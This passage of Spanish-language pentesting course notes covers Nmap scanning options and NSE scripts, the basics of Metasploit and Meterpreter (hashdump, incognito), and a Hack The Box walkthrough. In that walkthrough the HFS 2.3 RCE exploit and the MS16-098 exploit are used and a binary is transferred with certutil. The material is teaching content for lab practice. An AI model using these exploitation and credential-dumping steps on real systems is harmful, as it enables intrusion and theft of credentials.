speed and efficiency you expect from Nmap. Users can rely on the growing and diverse set of
scripts distributed with Nmap, or write their own to meet custom needs.
While NSE has a complex implementation for efficiency, it is strikingly easy to use. Simply
specify -sC to enable the most common scripts. Or specify the --script option to choose
your own scripts to execute by providing categories, script file names, or the name of
directories full of scripts you wish to execute. You can customize some scripts by providing
arguments to them via the --script-args and --script-args-file options. The --
script-help shows a description of what each selected script does. The two remaining
options, --script-trace and --script-updatedb, are generally only used for script
debugging and development. Script scanning is also included as part of the -A (aggressive
scan) option.
El motor de scripts de Nmap / Nmap Scripting Engine (NSE) es una de las características más
potentes y flexibles de Nmap. Permite a los usuarios escribir (y compartir) scripts sencillos
(utilizando el lenguaje de programación Lua) para automatizar una amplia variedad de tareas
de red. Estos scripts se ejecutan en paralelo con la velocidad y eficiencia que se espera de Nmap.
Los usuarios pueden confiar en el creciente y diverso conjunto de scripts que se distribuyen con
Nmap, o escribir los suyos propios para satisfacer necesidades personalizadas.
Aunque NSE (Nmap Scripting Engine) tiene una implementación compleja para la eficiencia, es
sorprendentemente fácil de usar. Basta con especificar -sC para activar los scripts más
comunes. O especifique la opción --script para elegir sus propios scripts a ejecutar
proporcionando categorías, nombres de archivos de script o el nombre de directorios llenos de
scripts que desee ejecutar. Puede personalizar algunos scripts proporcionándoles argumentos
mediante las opciones --script-args y --script-args-file. La opción --script-
help muestra una descripción de lo que hace cada script seleccionado. Las dos opciones
restantes, --script-trace y --script-updatedb, se utilizan generalmente sólo para
la depuración y el desarrollo de scripts. La exploración de scripts (Script scanning) también se
incluye como parte de la opción -A (exploración agresiva/aggressive scan).
Scans the <n> highest-ratio ports found in nmap-services file after excluding all ports specified
by --exclude-ports. <n> must be 1 or greater.
Página 89 de 141
Analiza los <n> puertos más altos encontrados en el archivo nmap-services después de excluir
todos los puertos especificados por --exclude-ports. <n> debe ser 1 o mayor.
SALIDA:
Host Discovery
This option skips the host discovery stage altogether. Normally, Nmap uses this stage to
determine active machines for heavier scanning and to gauge the speed of the network. By
default, Nmap only performs heavy probing such as port scans, version detection, or OS detection
against hosts that are found to be up. Disabling host discovery with -Pn causes Nmap to attempt
the requested scanning functions against every target IP address specified. So if a /16 sized
network is specified on the command line, all 65,536 IP addresses are scanned. Proper host
discovery is skipped as with the list scan, but instead of stopping and printing the target list,
Nmap continues to perform requested functions as if each target IP is active. Default timing
parameters are used, which may result in slower scans. To skip host discovery and port scan,
while still allowing NSE to run, use the two options -Pn -sn together.
For machines on a local ethernet network, ARP scanning will still be performed (unless --disable-
arp-ping or --send-ip is specified) because Nmap needs MAC addresses to further scan target
hosts. In previous versions of Nmap, -Pn was -P0 and -PN.
Esta opción omite la etapa de descubrimiento de hosts por completo. Normalmente, Nmap
utiliza esta etapa para determinar los equipos activos para un sondeo más pesado y para medir
la velocidad de la red. Por defecto, Nmap sólo realiza sondeos más pesados como son los
escaneos de puertos, la detección de versiones o la detección del sistema operativo contra los
equipos que se encuentran activos. Si se desactiva el descubrimiento de hosts con -Pn, Nmap
intentará realizar las funciones de sondeo solicitadas contra cada dirección IP de destino
especificada. Por lo tanto, si se especifica una red de tamaño /16 en la línea de órdenes, se
analizarán las 65.536 direcciones IP. Se omite el descubrimiento de hosts como en el sondeo de
lista, pero en lugar de detenerse e imprimir la lista de objetivos, Nmap continúa realizando las
funciones solicitadas como si cada IP objetivo estuviera activa. Se utilizan los parámetros de
temporización por defecto, lo que puede dar lugar a escaneos más lentos. Para omitir el
descubrimiento de hosts y el escaneo de puertos, mientras se permite la ejecución de NSE, utilice
las dos opciones -Pn -sn juntas.
En el caso de máquinas en una red local ethernet, se seguirá realizando el sondeo ARP (a menos
que se especifique --disable-arp-ping o --send-ip) porque Nmap necesita las
direcciones MAC para seguir analizando los hosts objetivo. En versiones anteriores de Nmap, -
Pn era -P0 y -PN.
SALIDA
-oA <nombre_base>: Guardar en los tres formatos principales al mismo tiempo [.gnmap
.nmap .xml]. En el vídeo se dice que es para redireccionar la salida hacia un fichero.
Página 90 de 141
Imagen 144
Repasemos:
-T4 → -T4 tiene que ver con el control de tiempo y rendimiento. -T4 equivale a agresivo. El
modo agresivo hace que los sondeos sean más rápidos al asumir que está en una red
razonablemente más rápida y fiable. -T4 prohíbe que la expiración en sondeos dinámicos
exceda los 10ms para puertos TCP. Le recomiendo utilizar -T4 cuando sondee redes
razonablemente modernas y fiables. Le recomiendo que empiece siempre con -T4 si está
utilizando una conexión de banda ancha o conexión Ethernet decente. Algunas personas adoran
la opción -T5 aunque es demasiado agresiva para mi gusto. Mientras que puede ser útil evitar
alarmas de IDS con -T0 y -T1, éste tardará mucho más tiempo para sondear miles de sistemas
o puertos.
-oA <nombre_base> → Guardar en los tres formatos principales al mismo tiempo [.gnmap
.nmap .xml]. En el vídeo se dice que es para redireccionar la salida hacia un fichero.
Página 91 de 141
Imagen 145
Imagen 146
Que solamente queremos lanzar este comando contra un determinado puerto (por ejemplo, el
3001), pues se pone:
nmap -sU -sV -O -T4 -p3001 localhost -oA salida1
Imagen 147
Que se quieren escanear todos los puertos (los 65 535 puertos existentes), se pone:
nmap -sU -sV -O -T4 -p- localhost -oA salida1
Imagen 148
Página 92 de 141
Si queremos escanear diferentes puertos, como el 111 y el 3001, se pone:
nmap -sU -sV -O -T4 -p111,3001 localhost -oA salida1
Imagen 149
Si no se quiere enviar el primer paquete ICMP (Internet Control Message Protocol - protocolo
de mensajes de control de Internet) para verificar si el equipo está vivo, se pone -Pn, quedando
el comando así:
nmap -sU -sV -O -T4 -p111,3001 localhost -oA salida1 -Pn
Además, con -Pn se evita en redes donde tengo filtrado ICMP que no me realice el escaneo.
Imagen 150
Scripts
Imagen 151
Página 93 de 141
Scripts que podemos usar. En el vídeo se comentan los siguientes (https://nmap.org/book/nse-
usage.html):
all
The special argument all makes every script in Nmap's script database eligible to run. The all
argument should be used with caution as NSE - Nmap Scripting Engine (NSE) may contain
dangerous scripts including exploits, brute force authentication crackers, and denial of service
attacks.
El argumento especial all hace que todos los scripts de la base de datos de scripts de Nmap
puedan ejecutarse. El argumento all debe usarse con precaución ya que NSE - Nmap Scripting
Engine (NSE) puede contener scripts peligrosos incluyendo exploits, crackers de autenticación
por fuerza bruta y ataques de denegación de servicio.
vuln
These scripts check for specific known vulnerabilities and generally only report results if they are
found. Examples include realvnc-auth-bypass and afp-path-vuln.
Scripts which weren't designed to crash services, use large amounts of network bandwidth or
other resources, or exploit security holes are categorized as safe. These are less likely to offend
remote administrators, though (as with all other Nmap features) we cannot guarantee that they
won't ever cause adverse reactions. Most of these perform general network discovery. Examples
are ssh-hostkey (retrieves an SSH host key) and html-title (grabs the title from a web
page). Scripts in the version category are not categorized by safety, but any other scripts which
aren't in safe should be placed in intrusive.
Los scripts que no han sido diseñados para bloquear servicios, utilizar grandes cantidades de
ancho de banda de red u otros recursos, o explotar agujeros de seguridad se clasifican como
seguros. Es menos probable que ofendan a los administradores remotos, aunque (como con
todas las demás funciones de Nmap) no podemos garantizar que no causen nunca reacciones
adversas.
La mayoría de estos [scritps] realizan un descubrimiento general de la red. Algunos ejemplos son
ssh-hostkey (recupera una clave de host SSH) y html-title (toma el título de una página
web).
auth
These scripts deal with authentication credentials (or bypassing them) on the target system.
Examples include x11-access, ftp-anon, and oracle-enum-users. Scripts which use
brute force attacks to determine credentials are placed in the brute category instead.
Página 94 de 141
discovery
These scripts try to actively discover more about the network by querying public registries,
SNMP-enabled devices, directory services, and the like. Examples include html-title
(obtains the title of the root path of web sites), smb-enum-shares (enumerates Windows
shares), and snmp-sysdescr (extracts system details via SNMP).
Estos scripts intentan descubrir activamente más información sobre la red consultando registros
públicos, dispositivos habilitados para SNMP (Simple Network Management Protocol - Protocolo
simple de administración de red), servicios de directorio (directory services) y similares. Algunos
ejemplos son html-title (obtiene el título de la ruta raíz/root path de los sitios web), smb-
enum-shares (enumera los recursos compartidos de Windows) y snmp-sysdescr (extrae
detalles del sistema a través de SNMP).
exploit
These scripts aim to actively exploit some vulnerability. Examples include jdwp-exec and
http-shellshock.
Estos scripts tienen como objetivo explotar (exploit) activamente alguna vulnerabilidad. Algunos
ejemplos son jdwp-exec y http-shellshock.
Estos son los cinco argumentos de línea de comandos específicos para la exploración de scripts
/ These are the five command-line arguments specific to script scanning
(https://nmap.org/book/nse-usage.html):
-sC
Performs a script scan using the default set of scripts. It is equivalent to --script=default.
Some of the scripts in this default category are considered intrusive and should not be run
against a target network without permission.
Runs a script scan using the comma-separated list of filenames, script categories, and
directories. Each element in the list may also be a Boolean expression describing a more complex
set of scripts. Each element is interpreted first as an expression, then as a category, and finally
as a file or directory name. The special argument all makes every script in Nmap's script
database eligible to run. The all argument should be used with caution as NSE - Nmap Scripting
Engine (NSE) may contain dangerous scripts including exploits, brute force authentication
crackers, and denial of service attacks.
Ejecuta un escaneo de scripts utilizando la lista separada por comas de nombres de archivos,
categorías de scripts y directorios. Cada elemento de la lista puede ser también una expresión
booleana que describa un conjunto más complejo de scripts. Cada elemento se interpreta
primero como una expresión, luego como una categoría y finalmente como un nombre de
archivo o directorio. El argumento especial all hace que todos los scripts de la base de datos
de scripts de Nmap puedan ser ejecutados. El argumento all debe usarse con precaución ya
Página 95 de 141
que NSE - Nmap Scripting Engine (NSE) puede contener scripts peligrosos incluyendo exploits,
crackers de autenticación por fuerza bruta y ataques de denegación de servicio.
--script-args <args>
This option is the same as --script-args except that you pass the arguments in a file
rather than on the command-line. / Esta opción es la misma que --script-args, salvo que
se pasan los argumentos en un archivo en lugar de en la línea de comandos.
--script-help <filename>|<category>|<directory>|<expression>|all[,...]
Shows help about scripts. For each script matching the given specification, Nmap prints the
script name, its categories, and its description. The specifications are the same as those
accepted by --script; so for example if you want help about the ssl-enum-ciphers
script, you would run nmap --script-help ssl-enum-ciphers.
Muestra la ayuda sobre los scripts. Para cada script que coincida con la especificación dada,
Nmap imprime el nombre del script, sus categorías y su descripción. Las especificaciones son
las mismas que las aceptadas por --script; así que, por ejemplo, si quiere ayuda sobre el
script ssl-enum-ciphers, debería ejecutar nmap --script-help ssl-enum-
ciphers.
--script-trace
Esta opción actualiza la base de datos de scripts que se encuentra en scripts/script.db y que es
utilizada por Nmap para determinar los scripts y categorías disponibles por defecto. Sólo es
necesario actualizar la base de datos si ha añadido o eliminado scripts de NSE del directorio de
scripts por defecto o si ha cambiado las categorías de algún script. Esta opción se utiliza por sí
misma sin argumentos: nmap --script-updatedb.
Some other Nmap options have effects on script scans. The most prominent of these is -sV. A
version scan automatically executes the scripts in the version category. The scripts in this
category are slightly different from other scripts because their output blends in with the
version scan results and they do not produce any script scan output to the screen. If the -oX
option is used, typical script output will still be available in the XML output file.
Another option which affects the scripting engine is -A. The aggressive Nmap mode implies
the -sC option.
Algunas otras opciones de Nmap tienen efectos sobre los escaneos de scripts. La más
destacada es -sV. Un sondeo de versiones ejecuta automáticamente los scripts de la categoría
Página 96 de 141
de versiones. Los scripts de esta categoría son ligeramente diferentes de otros scripts porque
su salida se mezcla con los resultados del análisis de versiones y no producen ninguna salida de
análisis de scripts en la pantalla. Si se utiliza la opción -oX, la salida típica de los scripts seguirá
estando disponible en el archivo de salida XML.
Otra opción que afecta al motor de scripts es -A. El modo agresivo de Nmap implica la opción -
sC.
Imagen 152
Imagen 153
Página 97 de 141
También se ejecuta nmap -sT --script=all localhost -d → Esto ejecuta todo lo
que hay; pero hace muchísimo ruido. Cuando estamos en una infraestructura hay que ir muy
despacio.
Imagen 154
A continuación, se ven scripts que podemos ejecutar nosotros contra un determinado servicio.
Por ejemplo, el que aparece en la imagen 155 para Samba.
smb-check-vulns
smb-enum-shares
smb-vuln-ms17-010
Imagen 155
Página 98 de 141
Finding open shares is useful to a penetration tester because there may be private files shared,
or, if it's writable, it could be a good place to drop a Trojan or to infect a file that's already there.
Knowing where the share is could make those kinds of tests more useful, except that
determining where the share is requires administrative privileges already.
Intenta enumerar los recursos compartidos mediante la función MSRPC (Microsoft Remote
Procedure Call) srvsvc.NetShareEnumAll y recuperar más información sobre ellos mediante
srvsvc.NetShareGetInfo. Si se deniega el acceso a esas funciones, se comprueba una lista de
nombres de recursos compartidos comunes.
Imagen 156
Página 99 de 141
También se ejecuta este comando (imagen 157):
nmap -sT --script=smb-protocols 192.168.1.130
smb-protocols → Attempts to list the supported protocols and dialects of a SMB (Server
Message Block) server. // Intenta listar los protocolos y dialectos soportados de un servidor SMB
(Server Message Block). https://nmap.org/nsedoc/scripts/smb-protocols.html
Imagen 157
Aquí nos ha identificado los posibles protocolos habilitados. Nos permite autenticación a través
de NT LM - NT (New Technology) LAN Manager (NTLM), y tiene habilitados estos (señalándose
2.02, 2.10, 3.00, 3.02, 3.11)
OS
Computer name
Domain name
Forest name
FQDN
Workgroup
System time
Los siguientes campos pueden incluirse en la salida, dependiendo de las circunstancias (por
ejemplo, el nombre del grupo de trabajo es mutuamente excluyente con los nombres del
dominio y del bosque/forest) y de la información disponible:
SO
Grupo de trabajo/Workgroup
-sC → Basta con especificar -sC para activar los scripts más comunes
Así que -sC nos ha enviado la seguridad que tiene habilitada (smb2-security-mode); el modo de
seguridad (smb-security-mode); el smb-os-discovery. Es decir, -sC nos ha lanzado una batería
de scripts que también los podemos lanzar nosotros individualmente.
Imagen 159
1. ¿Qué es?
2. Módulos
3. Comandos básicos
4. Meterpreter
Imagen 160
¿Qué es?
¿Para qué usarlo? Tanto para pentesting, para hacer nuestras pruebas o por ejemplo en Hack
The Box o en auditorías reales, y nos permite detectar si un servicio o un equipo puede ser
vulnerable a cierta vulnerabilidad, a través por ejemplo de un auxiliary, y luego a través del
exploit, una vez que nos haya indicado que se puede explotar, a través de la opción del exploit
podríamos explotarlo. Es decir, que nos puede dar las 2 funcionalidades.
No podemos decir que sea un escáner de vulnerabilidades porque no es así. Es decir, nosotros
tenemos que saber qué servicio se está ejecutando en cierta máquina, y a raíz de ahí, haciendo
un reconocimiento previo, intentaremos deducir/verificaremos si existe un exploit público o no.
Módulos
Imagen 162
Exploits → Es la parte donde se almacenarían todos los exploits que nosotros vamos a
poder configurar dentro de nuestro framework, una vez que esté ejecutado.
Payloads → Va a ser el trozo de código que va a hacer que nos devuelva una Reverse
Shell o una Bind Shell.
Evasion → Hay otras funcionalidades que, por ejemplo, si quisiéramos tener evasión de
antivirus podríamos utilizar diferentes técnicas o diferentes módulos que ya nos trae
Metasploit.
Post → Está definido para cuando nosotros ya tenemos una Shell o un Meterpreter. Es
decir, ya hemos accedido a una máquina y tenemos nosotros por ejemplo una Shell con
un usuario con pocos privilegios, por ejemplo, con el usuario de Apache, /usr, o con
pepito y queremos ser root. Nosotros tenemos funcionalidades que son posexplotación;
es decir, una vez que ya tenemos la explotación realizada, vamos a intentar llevar a más
esa explotación. Para ello, tenemos que escalar casi siempre privilegios.
https://www.offensive-security.com/metasploit-unleashed/msfconsole/
The msfconsole is probably the most popular interface to the Metasploit Framework (MSF).
It provides an “all-in-one” centralized console and allows you efficient access to virtually all of
the options available in the MSF. MSFconsole may seem intimidating at first, but once you learn
the syntax of the commands you will learn to appreciate the power of utilizing this interface.
Imagen 163
Imagen 164
Se vuelve a ejecutar search eternal y se dice que tenemos diferentes exploit. Esto ya sería
para ejecutar y lanzar contra la máquina. Y si esto funciona porque es vulnerable
automáticamente tendríamos una Shell (imagen 165).
Imagen 165
Imagen 166
¿Dónde podemos descargar Metasploit? Lo podemos instalar o bien con apt, o a través de su
GitHub (https://github.com/rapid7/metasploit-framework), con un Git clone.
Estructura de directorios
Todos los exploits se hacen en Ruby para poderlos integrar con Metasploit.
Imagen 167
Imagen 168
Atributos Exploit
RHOST
RPORT
SRVHOST
URIPATH
PAYLOAD
Métodos Exploit:
exploit
check
Imagen 169
Para ver las opciones que tenemos para configurar se hace show options. Se ve que
aparecen 2 atributos: RHOSTS y RPORT (imagen 170).
Imagen 170
Con set el_parámetro y_la_IP —en este caso, set rhosts 192.168.1.1— le
decimos que lo configure y ya nos cargaría el RHOSTS deseado, que se puede ver si se hace show
options (imagen 171).
Imagen 171
Imagen 172
Para quitar la IP que hemos puesto se hace unset RHOSTS. Si se hace show options se ve
que ya no aparece (imagen 173).
Imagen 173
Si el SMB (Server Message Block) estuviera ejecutado en otro puerto que no fuera el 445, se
haría set rport y_el_puerto_que_quisiéramos_configurar. Para quitarlo se
haría unset rport.
Métodos Exploit
exploit
check
Imagen 174
Imagen 175
Tenemos:
Y un exploit → exploit/windows/rdp/cve_2019_0708_bluekeep_rce
Imagen 177
¿Por qué digo esto? Porque hay veces que ejecuta por defecto uno de 64 bits y, a lo mejor, la
máquina víctima es de 32 bits. Por eso, nos puede pasar que al ejecutar el exploit no funcione
correctamente.
ICA0011-S04-C01-V05-Metasploit-Framework_2
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111823)
Payload
RHOST
LHOST
LPORT
Imagen 178
Imagen 180
Imagen 182
Como no parece funcionar, se hace un exit y se dice: Cuando lo ejecutamos vamos a configurar
nuestro exploit con un payload que nosotros vamos a poder configurar. Esto, al verlo en la opción
por defecto, normalmente, él [supongo que en referencia a Metasploit/payload] va a coger la
arquitectura por defecto, que casi siempre va a ser x64. Esto es una cosa a tener en cuenta por
si vemos que un exploit no nos funciona y sabemos que lo hemos probado en otra máquina,
sabemos que está funcionando correctamente, pues nosotros podemos cambiar la arquitectura
porque posiblemente sea ese uno de los errores.
Pero parece no funcionar. En el video se dice esto porque no existe (imagen 184).
Imagen 184
Lo que más quiero que veamos es: qué vamos a tener que configurar para diferentes
funcionalidades. Metasploit tiene infinidades de funcionalidades más. Aquí vamos a ver cómo
configurar un auxiliary y la ejecución tanto de un auxiliary como de un exploit.
Ayuda
Imagen 185
https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/
help → El comando help da una lista y una pequeña descripción de todos los
comandos disponibles.
Imagen 186
El info nos daría la información del exploit: para qué arquitectura está hecho, si hubiera
que cambiar algún parámetro, si hay algún parámetro que es obligatorio...
Hay una serie de comandos show que se pueden utilizar, pero los que se utilizan con
más frecuencia son: show auxiliary, show exploits, show payloads, show
encoders, y show nops.
show lo podemos utilizar para saber las opciones que va a tener, por ejemplo, un exploit.
Como lo hemos estado utilizando con show options
Interacción
Imagen 187
https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/
use → Cuando se haya decidido por un módulo en particular para utilizarlo (When you
have decided on a particular module to make use of), emita el comando use para
seleccionarlo. El comando use cambia tu contexto a un módulo específico, exponiendo
los comandos específicos del tipo (type-specific commands). Observe en la salida
(output) de la imagen 188 que cualquier variable global (any global variables) que se
haya establecido previamente ya está configurada.
Imagen 188
Para controlar las sesiones que tengamos. Nosotros podemos usar Metasploit como un
Command & Control. Al final podemos tener diferentes Shell que van a tener un
identificador y vamos a poder cargarlas y ponerlas en background cuando queramos
(dependiendo de si la máquina se cae o no se cae; si se cae esa Shell la perdemos).
Meterpreter
Nosotros, cuando obtenemos una Shell de un equipo, es decir, obtenemos acceso a una
máquina, ejecutando, por ejemplo, a través de una vulnerabilidad que nos envíe un Netcat,
porque previamente [¿está?] en la máquina víctima. Y esa Shell no sería una Shell como
Meterpreter.
¿Por qué? Porque Meterpreter, internamente, cuando se ejecuta esa Shell, trae ya infinidades
de funcionalidades que nos ayudan como pentester de cara a una posexplotacion. Es decir,
nosotros tenemos diferentes comandos que vamos a poder ejecutar internamente cuando
tengamos una Shell Meterpreter.
Comandos básicos
Hashdump → Podemos hacer un Hashdump, que es para dumpear los hashes. Esto es
muy utilizado, por ejemplo, si yo ejecuto un exploit de EternalBlue, siempre que obtengo
acceso en un sistema operativo Windows como NT AUTHORITY SYSTEM. Con eso vamos
a poder dumpear los hashes de un proceso LSASS (Local Security Authority Subsystem
Service - Servicio de Subsistema de Autoridad de Seguridad Local). Si nosotros
dumpeamos ese proceso vamos a poder tener unos hashes para poder autenticarnos
para una posible posexplotación.
execute –f file [Options] → Execute the given “file” on the OS target host
// Ejecutar el "archivo" dado en el host de destino del SO
(https://www.blueliv.com/downloads/Meterpreter_cheat_sheet_v0.1.pdf)
Options:
Ejecuta el "archivo" dado en el host de destino del SO (Execute the given “file” on the
OS target host).
Opciones:
Load incognito → Podemos cargar incognito, que es para intentar que haga una
impersonalización del usuario.
Imagen 189
Imagen 190
Imagen 191
Es el mejor ejemplo que tenemos para poder practicar esto sin montarnos nosotros un
laboratorio o cometer ilegalidades.
Imagen 192
Imagen 193
(Se hace login en Hack The Box → En Labs se clica en Machines → All y en Retired Machines
estamos haciendo Optium (imagen 194).
Imagen 194
Imagen 195
Seguidamente vamos a lanzar un nmap: nmap -sT -sV -sC -T4 10.10.10.8 Del
resultado hay que fijarse en que tiene el puerto 80/tcp abierto
-sC → -sC tiene que ver con Nmap Scripting Engine (https://nmap.org/book/nse-usage.html
/ https://nmap.org/book/man-nse.html). -sC es para enviar los scripts por defecto de la base
de datos de Nmap.
-T4 → -T4 tiene que ver con el control de tiempo y rendimiento. -T4 equivale a agresivo.
Imagen 196
Imagen 197
Se busca en Google qué vulnerabilidad puede tener el servicio HttpFileServer 2.3, y encontramos
una ejecución de código remoto (Rejetto HTTP File Server (HFS) 2.3.x - Remote Command
Execution (2) - https://www.exploit-db.com/exploits/39161). Esta ejecución de código remoto
nos vale porque no necesitamos parte autenticada.
Imagen 198
Imagen 199
Imagen 200
Voy a cambiar el puerto, porque tengo una sesión abierta en ese puerto — 4445— y si no va a
fallar. Entonces, se hace set lport 4446
Imagen 202
Imagen 203
Una vez que lo tenemos configurado hacemos run. En el vídeo esto falla (imagen 204)…
Imagen 204
Imagen 205
Imagen 206
Se ejecuta help y se dice: Aquí ya tenemos infinidad de opciones. Tenemos diferentes comandos
que podemos ejecutar o, inclusive, ir a una Shell cmd.
Imagen 207
Imagen 208
Imagen 209
…Y, seguidamente, systeminfo, con el que se pueden ver las actualizaciones (imagen 210 y
211).
Imagen 210
Esta máquina se puede realizar de 2 formas. En el vídeo se hace Control + Z y sessions -l,
mostrándose 2 sesiones: una en el 4445 y otra en el 4446.
Imagen 212
Imagen 213
En el vídeo se usa la 4446, que es la que se está usando. Por tanto, primero se hace un set
session 4, quedando ya macheada (se comprueba con show options). Luego, se hace
run y automáticamente, a través de las vulnerabilidades conocidas que hay para Windows, va
a lanzar una serie de exploits para verificar si nuestro equipo es vulnerable.
Imagen 214
Imagen 215
Habíamos lanzado el exploit para intentar verificar si fuese vulnerable a otro tipo de
vulnerabilidades para escalar privilegios. Se lanza otra vez con run, pero se nos indica que, de
momento, no ha detectado nada.
Si hubiéramos ejecutado el script de Sherlock, automáticamente nos diría que esta máquina es
vulnerable a la vulnerabilidad Microsoft Windows 8.1 (x64) - 'RGNOBJ' Integer Overflow (MS16-
098) (https://www.exploit-db.com/exploits/41020). Nosotros nos hemos descargado este
exploit (https://www.exploit-db.com/download/41020 - 41020.c) —habría que compilarlo—,
pero en el enlace https://www.exploit-db.com/exploits/41020 también tenemos el exploit ya
compilado (https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-
sploits/41020.exe - 41020.exe).
¿Cómo vamos a hacer para pasar este exploit a nuestra máquina? Desde la Terminal de la
máquina de Kali Linux se ve que el archivo 41020.exe ya está descargado (imagen 216).
Imagen 216
Imagen 217
Imagen 218
Imagen 219
Hay que recordar que soy optimum\kostas. ¿Cómo voy a trasladar el fichero? Se va a utilizar
certutil (imagen 220). certutil es una herramienta de [Sysinternals] que es utilizada para poder
transferir ficheros. Esto cada día está mucho más controlado, aunque sea una herramienta de
Microsoft, porque se puede utilizar para diferentes fines, como por ejemplo descargar un fichero
malicioso y que no sea detectado.
Imagen 220
Imagen 221
Imagen 222
Imagen 223
Imagen 224
Imagen 225
Imagen 226
Imagen 228
Al hacer whoami /priv, se ven los permisos que se tienen (imagen 230).
Imagen 230
Imagen 231
Indicar que la plataforma Hack The Box es la mejor forma que tenemos de practicar, conocer y
explotar diferentes vulnerabilidades reales que nos vamos a encontrar día a día. Por eso os
recomiendo que utilicéis esta plataforma para disfrutar y aprender.